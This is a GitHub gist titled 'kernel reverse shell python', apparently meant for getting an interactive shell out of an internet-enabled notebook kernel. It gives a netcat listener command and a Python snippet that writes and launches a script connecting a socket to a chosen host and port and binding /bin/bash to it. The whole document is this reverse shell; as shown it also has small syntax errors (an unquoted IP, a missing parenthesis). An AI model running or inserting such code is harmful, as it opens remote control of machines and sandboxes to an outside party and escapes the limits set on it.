Skip to content

Instantly share code, notes, and snippets.

@eherrerosj
Created August 18, 2018 13:27
Show Gist options
  • Save eherrerosj/aa7a488be048a7e4baccd592f71064e9 to your computer and use it in GitHub Desktop.
Save eherrerosj/aa7a488be048a7e4baccd592f71064e9 to your computer and use it in GitHub Desktop.
kernel reverse shell python
# On host run `nc -nvlp [PORT]`
# Then run this snippet in an internet-enabled kernel, and you will get interactive bash inside the kernel, on the host machine.
hostname = 0.0.0.0 # Hostname/IP of your server
port = 1337 # Port must be open
open('shell.py','w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'.format(hostname, port)
import subprocess
subprocess.Popen(["python", "shell.py"])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment